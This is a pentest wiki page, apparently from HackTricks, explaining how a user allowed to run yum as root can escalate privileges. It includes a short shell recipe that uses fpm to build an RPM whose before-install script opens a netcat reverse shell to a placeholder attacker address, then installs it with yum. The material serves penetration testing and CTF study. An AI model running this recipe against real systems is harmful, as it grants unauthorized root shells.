hacktricks/exploiting-yum.md at c2c270feefa9542bc6e6dfc7a03da494d2d8fc78

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# Exploiting Yum Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/).

Executing arbitrary commands via RPM Packages

Checking the Environment

In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root.

A working example of this vector

A working example of this exploit can be found in the daily bugle room on tryhackme.

Packing an RPM

In the following section, I will cover packaging a reverse shell into an RPM using fpm.

The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary.

EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR

Catching a shell

Using the above example and assuming yum can be executed as a higher-privileged user.

Transfer the rpm to the host
Start a listener on your local host such as the example netcat listener
Install the vulnerable package yum localinstall -y exploited-1.0-1.noarch.rpm